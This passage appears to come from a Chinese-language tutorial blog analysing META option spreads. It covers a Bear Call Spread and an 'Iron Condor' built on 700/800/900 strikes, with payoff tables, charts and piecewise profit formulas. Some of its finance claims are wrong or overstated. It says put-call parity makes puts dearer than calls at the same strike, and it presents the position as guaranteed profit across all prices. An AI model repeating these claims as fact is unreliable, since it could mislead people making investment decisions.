$10,000</span><br></pre></td></tr></table></figure><p><strong>不同股价情景下的损益分析</strong>：</p><table><thead><tr><th>META最终价格</th><th>Short 800 Call状态</th><th>Long 900 Call状态</th><th>执行损益</th><th>净收益</th></tr></thead><tbody><tr><td>≤$800</td><td>不执行</td><td>不执行</td><td>$0</td><td><strong>+$1,108</strong></td></tr><tr><td>$850</td><td>执行(-$5,000)</td><td>不执行</td><td>-$5,000</td><td><strong>-$3,892</strong></td></tr><tr><td>$900</td><td>执行(-$10,000)</td><td>不执行</td><td>-$10,000</td><td><strong>-$8,892</strong></td></tr><tr><td>≥$900</td><td>执行(-$10,000)</td><td>执行(+$保护)</td><td>-$10,000+保护</td><td><strong>-$8,892</strong></td></tr></tbody></table><p><strong>关键计算示例</strong>（META = $850）：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">执行分析：</span><br><span class="line">- 800 Call被执行：必须以$800卖出价值$850的股票</span><br><span class="line">- 如果没有股票，需要以$850买入然后$800卖出</span><br><span class="line">- 直接损失：($850 - $800) × 100股 = $5,000</span><br><span class="line">- 900 Call：股价$850 &lt; $900，无价值，不执行</span><br><span class="line"></span><br><span class="line">最终损益：</span><br><span class="line">净权利金 - 执行损失 = $1,108 - $5,000 = -$3,892</span><br></pre></td></tr></table></figure><h4 id="3-2-4-Bear-Call-Spread盈亏曲线分析">3.2.4 Bear Call Spread盈亏曲线分析</h4><p>Bear Call Spread的收益分布特征如图2所示：</p><pre><code class="highlight mermaid">xychart-beta    title &quot;图2: Bear Call Spread盈亏曲线 - 看跌价差策略&quot;    x-axis &quot;META股价($)&quot; [700, 750, 800, 850, 900, 950, 1000]    y-axis &quot;收益($)&quot; -10000 --&gt; 2000    line &quot;Bear Call收益&quot; [1108, 1108, 1108, -3892, -8892, -8892, -8892]</code></pre><p><strong>图2：Bear Call Spread盈亏曲线详细分析</strong></p><p><em>数据来源：基于META股票$800-$900 Call价差策略的理论计算</em><br><em>横轴：META股票价格（美元/股）；纵轴：策略净收益（美元）</em></p><p><strong>关键信息分解</strong>：</p><ul><li><strong>数据范围</strong>：股价$700-<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">1000</span><span class="mord cjk_fallback">，收益</span></span></span></span>-8,892至$+1,108</li><li><strong>关键特征点</strong>：<ul><li>最大收益点：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">108</span><span class="mord cjk_fallback">（</span></span></span></span>S ≤ 800$）</li><li>盈亏平衡点：$811.08</li><li>最大损失点：-<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">8</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">892</span><span class="mord cjk_fallback">（</span></span></span></span>S ≥ 900$）</li></ul></li><li><strong>曲线构成</strong>：三段式分段函数结构</li></ul><p><strong>详细特征分析</strong>：</p><ul><li><strong>平坦左端</strong>(<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8193em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">800</span></span></span></span>)：固定最大收益$1,108，体现看跌策略在低价区间的收益稳定性</li><li><strong>线性下降段</strong>(<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6835em;vertical-align:-0.0391em;"></span><span class="mord">800</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">900</span></span></span></span>)：收益随股价线性下降，斜率为-100，反映执行风险的线性增长</li><li><strong>平坦右端</strong>(<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8193em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">900</span></span></span></span>)：固定最大损失-$8,892，显示高价区间的风险封顶特性</li><li><strong>盈亏平衡分析</strong>：$811.08处曲线穿越零轴，标志着策略由盈转亏的临界点</li></ul><p><strong>策略性质解读</strong>：与图1相比，图2呈现相反的形状特征：低收益但风险集中在上行方向，体现了Bear Call策略的看跌偏好和有限收益特性。收益风险比为1:8.03（$1,108:$8,892），显示典型的卖期权策略特征。</p><h4 id="3-2-5-Bear-Call-Spread数学模型与分段函数">3.2.5 Bear Call Spread数学模型与分段函数</h4><p><strong>分段收益函数</strong>：</p><p>设股价为 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span>，Bear Call Spread的收益函数为：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">Bear</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:4.32em;vertical-align:-1.91em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.35em;"><span style="top:-2.2em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎩</span></span></span><span style="top:-2.192em;"><span class="pstrut" style="height:3.15em;"></span><span style="height:0.316em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="0.316em" style="width:0.8889em" viewBox="0 0 888.89 316" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V316 H384z M384 0 H504 V316 H384z"/></svg></span></span><span style="top:-3.15em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎨</span></span></span><span style="top:-4.292em;"><span class="pstrut" style="height:3.15em;"></span><span style="height:0.316em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="0.316em" style="width:0.8889em" viewBox="0 0 888.89 316" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V316 H384z M384 0 H504 V316 H384z"/></svg></span></span><span style="top:-4.6em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎧</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.85em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.41em;"><span style="top:-4.41em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord">1108</span></span></span><span style="top:-2.97em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord">81108</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">100</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span><span style="top:-1.53em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord">−</span><span class="mord">8892</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.91em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:1em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.41em;"><span style="top:-4.41em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord">if </span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">800</span><span class="mord text"><span class="mord"> </span><span class="mord cjk_fallback">（最大收益）</span></span></span></span><span style="top:-2.97em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord">if </span></span><span class="mord">800</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">900</span><span class="mord text"><span class="mord"> </span><span class="mord cjk_fallback">（线性递减）</span></span></span></span><span style="top:-1.53em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord">if </span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">900</span><span class="mord text"><span class="mord"> </span><span class="mord cjk_fallback">（最大损失）</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.91em;"><span></span></span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:1em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">2.1</span><span class="mclose">)</span></span></span></span></span></p><p><strong>函数特征分析</strong>：</p><ol><li><p><strong>盈亏平衡点计算</strong>：<br>令方程(2.1)中线性部分等于零：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">81108</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">100</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:1em;"></span><span class="mopen">(</span><span class="mord">2.2</span><span class="mclose">)</span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">811.08</span><span class="mspace" style="margin-right:1em;"></span><span class="mopen">(</span><span class="mord">2.3</span><span class="mclose">)</span></span></span></span></span></p><p><strong>盈亏平衡点</strong>：$811.08，如方程(2.3)所示</p></li><li><p><strong>最大收益</strong>：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">108</span><span class="mord cjk_fallback">（当</span></span></span></span>S \leq 800$时）</p></li><li><p><strong>最大损失</strong>：-<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">8</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">892</span><span class="mord cjk_fallback">（当</span></span></span></span>S \geq 900$时）</p></li><li><p><strong>收益率</strong>：</p><ul><li>成功率：需要股价保持在$811.08以下</li><li>最大收益率：$1,108 / $10,000 = 11.08%（基于风险资本）</li></ul></li></ol><h4 id="3-2-6-Bear-Call-Spread风险收益特征">3.2.6 Bear Call Spread风险收益特征</h4><p><strong>优势</strong>：</p><ul><li>✅ <strong>立即现金收入</strong>：开仓即获得净权利金</li><li>✅ <strong>时间友好</strong>：时间流逝对策略有利</li><li>✅ <strong>有限风险</strong>：最大损失明确且有限</li><li>✅ <strong>中性偏熊</strong>：适合对股价上涨持谨慎态度</li></ul><p><strong>劣势</strong>：</p><ul><li>❌ <strong>有限收益</strong>：最大收益相对较小</li><li>❌ <strong>上行风险</strong>：股价大幅上涨时亏损严重</li><li>❌ <strong>成功率相对较低</strong>：需要股价不上涨才盈利</li><li>❌ <strong>不利的风险收益比</strong>：最大亏损远大于最大收益</li></ul><p><strong>适用市场环境</strong>：</p><ul><li>📉 <strong>熊市或中性市场</strong>：股价稳定下跌或横盘</li><li>📊 <strong>高波动环境</strong>：卖出期权能获得更高权利金</li><li>🎯 <strong>明确阻力位</strong>：技术分析显示强阻力在800美元</li></ul><hr><h2 id="4-Iron-Condor组合策略构造与数学证明">4. Iron Condor组合策略构造与数学证明</h2><p>本节将前述两个策略组件整合为完整的Iron Condor套利策略，并通过严格的数学证明验证其理论套利特性。我们将建立总收益函数，证明其在全价格区间内的正收益性质，并分析这一策略的数学本质与套利机制。</p><pre><code class="highlight mermaid">graph TB    subgraph &quot;Iron Condor策略构造逻辑&quot;        A[&quot;Bull Put Spread&lt;br/&gt;看涨价差策略&quot;] --&gt; C[&quot;Iron Condor&lt;br/&gt;组合套利策略&quot;]        B[&quot;Bear Call Spread&lt;br/&gt;看跌价差策略&quot;] --&gt; C        subgraph &quot;Bull Put Spread详情&quot;            D[&quot;卖出800 Put: +$9,944&lt;br/&gt;买入700 Put: -$1,000&lt;br/&gt;净收入: +$8,944&quot;]            E[&quot;保护下方:&lt;br/&gt;最大亏损$1,056&lt;br/&gt;在S≤700时&quot;]        end        subgraph &quot;Bear Call Spread详情&quot;            F[&quot;卖出800 Call: +$2,108&lt;br/&gt;买入900 Call: -$1,000&lt;br/&gt;净收入: +$1,108&quot;]            G[&quot;保护上方:&lt;br/&gt;最大亏损$8,892&lt;br/&gt;在S≥900时&quot;]        end        A --&gt; D        A --&gt; E        B --&gt; F        B --&gt; G    end    subgraph &quot;组合效果&quot;        H[&quot;总净收入: $10,052&quot;]        I[&quot;理论最低收益: $52&quot;]        J[&quot;所有价格区间盈利&quot;]    end    C --&gt; H    C --&gt; I    C --&gt; J    subgraph &quot;数学证明&quot;        K[&quot;分段函数构造&quot;]        L[&quot;边界条件验证&quot;]        M[&quot;套利性质证明&quot;]    end    J --&gt; K    K --&gt; L    L --&gt; M    style C fill:#e1f5fe    style I fill:#c8e6c9    style J fill:#c8e6c9    style M fill:#fff3e0</code></pre><h3 id="4-1-两个Spread策略的对比分析">4.1 两个Spread策略的对比分析</h3><h4 id="4-1-1-系统性对比分析">4.1.1 系统性对比分析</h4><table><thead><tr><th>特征对比</th><th>Bull Put Spread</th><th>Bear Call Spread</th><th>差异分析</th></tr></thead><tbody><tr><td><strong>市场观点</strong></td><td>看涨/中性</td><td>看跌/中性</td><td>相互互补</td></tr><tr><td><strong>净权利金收入</strong></td><td>$8,944</td><td>$1,108</td><td>8:1比例</td></tr><tr><td><strong>盈利区域</strong></td><td>≥$800</td><td>≤$800</td><td>以$800为界</td></tr><tr><td><strong>最大收益</strong></td><td>$8,944</td><td>$1,108</td><td>悬殊对比</td></tr><tr><td><strong>最大亏损</strong></td><td>-$1,056</td><td>-$8,892</td><td>风险不对等</td></tr><tr><td><strong>盈亏平衡点</strong></td><td>$710.56</td><td>$811.08</td><td>相对$800对称</td></tr><tr><td><strong>风险收益比</strong></td><td>8.47:1</td><td>0.12:1</td><td>显著差异</td></tr><tr><td><strong>胜率要求</strong></td><td>股价&gt;$710.56</td><td>股价&lt;$811.08</td><td>不同方向</td></tr></tbody></table><h4 id="4-1-2-互补性分析：为什么组合威力巨大">4.1.2 互补性分析：为什么组合威力巨大</h4><p><strong>单独使用的问题</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Bull Put Spread:</span><br><span class="line">✅ 高收益潜力（$8,944）</span><br><span class="line">❌ 下行风险（股价&lt;$700时亏损$1,056）</span><br><span class="line"></span><br><span class="line">Bear Call Spread:</span><br><span class="line">✅ 上行保护（控制上涨风险）</span><br><span class="line">❌ 低收益（仅$1,108）</span><br><span class="line">❌ 高上行风险（股价&gt;$900时亏损$8,892）</span><br></pre></td></tr></table></figure><p><strong>组合后的效果</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">互补保护机制：</span><br><span class="line">- Bull Put的下行风险 ← Bear Call的收益覆盖</span><br><span class="line">- Bear Call的上行风险 ← Bull Put的收益覆盖</span><br><span class="line">- 创造全价格区间盈利的&quot;保护伞&quot;</span><br></pre></td></tr></table></figure><h4 id="4-1-3-权利金收入差异的深度分析">4.1.3 权利金收入差异的深度分析</h4><p><strong>为什么Bull Put收入远超Bear Call？</strong></p><ol><li><p><strong>波动率偏斜（Volatility Skew）</strong>：</p><ul><li>市场对下行风险的定价更高</li><li>投资者更愿意为&quot;跌停保护&quot;付费</li><li>Put期权通常比同等距离的Call期权更贵</li></ul></li><li><p><strong>供需关系</strong>：</p><ul><li>更多投资者持有股票，需要下行保护</li><li>对PUT期权需求 &gt; 对CALL期权需求</li><li>推高PUT期权权利金</li></ul></li><li><p><strong>心理因素</strong>：</p><ul><li>&quot;损失厌恶&quot;心理：人们更害怕亏钱</li><li>下跌保护的心理价值高于上涨限制</li></ul></li><li><p><strong>数学验证</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Put-Call Parity关系:</span><br><span class="line">在相同执行价格下，Put权利金通常 &gt; Call权利金</span><br><span class="line">特别是在股价接近或略高于执行价格时</span><br></pre></td></tr></table></figure></li></ol><h3 id="4-2-Iron-Condor总收益函数构造">4.2 Iron Condor总收益函数构造</h3><h4 id="4-2-1-函数叠加原理">4.2.1 函数叠加原理</h4><p>Iron Condor策略的总收益函数通过叠加方程(1.1)和方程(2.1)构造：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">Total</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">Bull</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">Bear</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span><span class="mspace" style="margin-right:1em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mclose">)</span></span></span></span></span></p><p>在<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">800</span></span></span></span>这个关键点：</p><ul><li>Bull Put达到最大收益：$8,944</li><li>Bear Call也达到最大收益：$1,108</li><li>总收益峰值：$10,052</li></ul><p><strong>对称美学</strong>：</p><ul><li>700-800-900形成100美元等距离</li><li>盈亏平衡点710.56和811.08几乎关于800对称</li><li>边界损失（$52）在两端完全相等</li></ul><p><strong>风险收益不对称的数学美学</strong></p><p><strong>关键发现</strong>：两个策略看似不平衡，实际上形成完美互补</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">策略A（Bull Put）: 高收益 + 小风险</span><br><span class="line">策略B（Bear Call）: 小收益 + 高风险</span><br><span class="line"></span><br><span class="line">但在组合中：</span><br><span class="line">A的高收益 覆盖 B的高风险</span><br><span class="line">B的收益 覆盖 A的小风险</span><br><span class="line">结果：全区间盈利！</span><br></pre></td></tr></table></figure><p><strong>这种不对称的合理性</strong>：</p><ol><li><strong>市场定价反映真实概率</strong>：股价大跌概率 &lt; 股价大涨概率</li><li><strong>风险补偿机制</strong>：承担小概率大风险获得高权利金</li><li><strong>套利窗口</strong>：正是这种不对称创造了套利空间</li></ol><hr><h4 id="4-2-2-Iron-Condor策略完整构造">4.2.2 Iron Condor策略完整构造</h4><p><strong>Iron Condor完全基于我们刚才分析的两个策略</strong>：</p><p><strong>下方保护（Bull Put Spread）</strong> - 详见第四部分：</p><ul><li>Long 700 Put（买入保护）</li><li>Short 800 Put（卖出义务）</li><li>净收入：$8,944</li><li>数学函数：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">Bull</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span></span></span></span></li></ul><p><strong>上方保护（Bear Call Spread）</strong> - 详见第五部分：</p><ul><li>Short 800 Call（卖出义务）</li><li>Long 900 Call（买入保护）</li><li>净收入：$1,108</li><li>数学函数：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">Bear</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span></span></span></span></li></ul><p><strong>总净收入</strong>：$8,944 + $1,108 = <strong>$10,052</strong></p><p><strong>关键机制分析</strong>：</p><ul><li>净权利金收入$10,052在建立组合时即时获得</li><li>收益实现无需等待到期，建仓即产生正现金流</li><li>投资者承担期权到期前的执行风险和义务</li><li>体现期权策略中&quot;时间价值变现&quot;的核心优势</li></ul><h4 id="4-2-3-策略收益区间与风险逻辑">4.2.3 策略收益区间与风险逻辑</h4><p>Iron Condor策略的设计基于对标的资产价格区间的预期判断，核心收益区间设定为700美元至900美元。</p><p><strong>策略预期</strong>：标的资产价格维持在预设区间内运行</p><ul><li><strong>区间内运行情形</strong>：实现最大理论收益$10,052</li><li><strong>区间外运行情形</strong>：通过对冲机制限制潜在损失</li></ul><p><strong>风险管理机制</strong>：<br>该策略可类比为同时承保两类相关保险产品：</p><ol><li><strong>下行保护保险</strong>：承保&quot;股价跌破700美元&quot;的风险敞口</li><li><strong>上行保护保险</strong>：承保&quot;股价涨超900美元&quot;的风险敞口</li></ol><p>基于对标的资产价格在设定区间内运行概率的合理预期，该策略在理论上具备正期望值特征。</p><hr><h3 id="4-3-完整损益计算和数字分析">4.3 完整损益计算和数字分析</h3><h4 id="4-3-1-完整损益表格">4.3.1 完整损益表格</h4><table><thead><tr><th>META最终价格</th><th>Bull Put损益</th><th>Bear Call损益</th><th>总损益</th><th>说明</th></tr></thead><tbody><tr><td>600</td><td>-$1,056</td><td>+$1,108</td><td><strong>+$52</strong></td><td>下方触及，最坏情况</td></tr><tr><td>700</td><td>-$1,056</td><td>+$1,108</td><td><strong>+$52</strong></td><td>边界点，最低保证收益</td></tr><tr><td>750</td><td>+$3,944</td><td>+$1,108</td><td><strong>+$5,052</strong></td><td>上升区间，800Put被执行</td></tr><tr><td>800</td><td>+$8,944</td><td>+$1,108</td><td><strong>+$10,052</strong></td><td>峰顶点位，最大收益</td></tr><tr><td>850</td><td>+$8,944</td><td>-$3,892</td><td><strong>+$5,052</strong></td><td>下降区间，800Call被执行</td></tr><tr><td>900</td><td>+$8,944</td><td>-$8,892</td><td><strong>+$52</strong></td><td>边界点，最低保证收益</td></tr><tr><td>1000</td><td>+$8,944</td><td>-$8,892</td><td><strong>+$52</strong></td><td>上方触及，最坏情况</td></tr></tbody></table><h4 id="4-3-2-计算过程详解">4.3.2 计算过程详解</h4><p><strong>当META = 750美元时的详细计算</strong>：</p><p><strong>Bull Put Spread分析</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">Short 800 Put：被执行！</span><br><span class="line">- 我必须以800美元/股买入价值750美元/股的股票</span><br><span class="line">- 执行义务：800美元/股 × 100股 = 80,000美元支出</span><br><span class="line">- 得到资产：750美元/股 × 100股 = 75,000美元价值</span><br><span class="line">- 直接损失：80,000 - 75,000 = 5,000美元</span><br><span class="line">- 收到的权利金：8,944美元（开仓时收入）</span><br><span class="line">- Bull Put净收益：8,944 - 5,000 = 3,944美元</span><br><span class="line"></span><br><span class="line">Long 700 Put：不会执行</span><br><span class="line">- 原因：没人会以700美元卖出价值750美元的股票</span><br><span class="line">- 这个期权保护在750美元时没有发挥作用</span><br></pre></td></tr></table></figure><p><strong>Bear Call Spread分析</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Short 800 Call：不会被执行</span><br><span class="line">- 原因：没人会以800美元买入只值750美元的股票</span><br><span class="line"></span><br><span class="line">Long 900 Call：不会执行</span><br><span class="line">- 原因：股价低于执行价格</span><br><span class="line"></span><br><span class="line">Bear 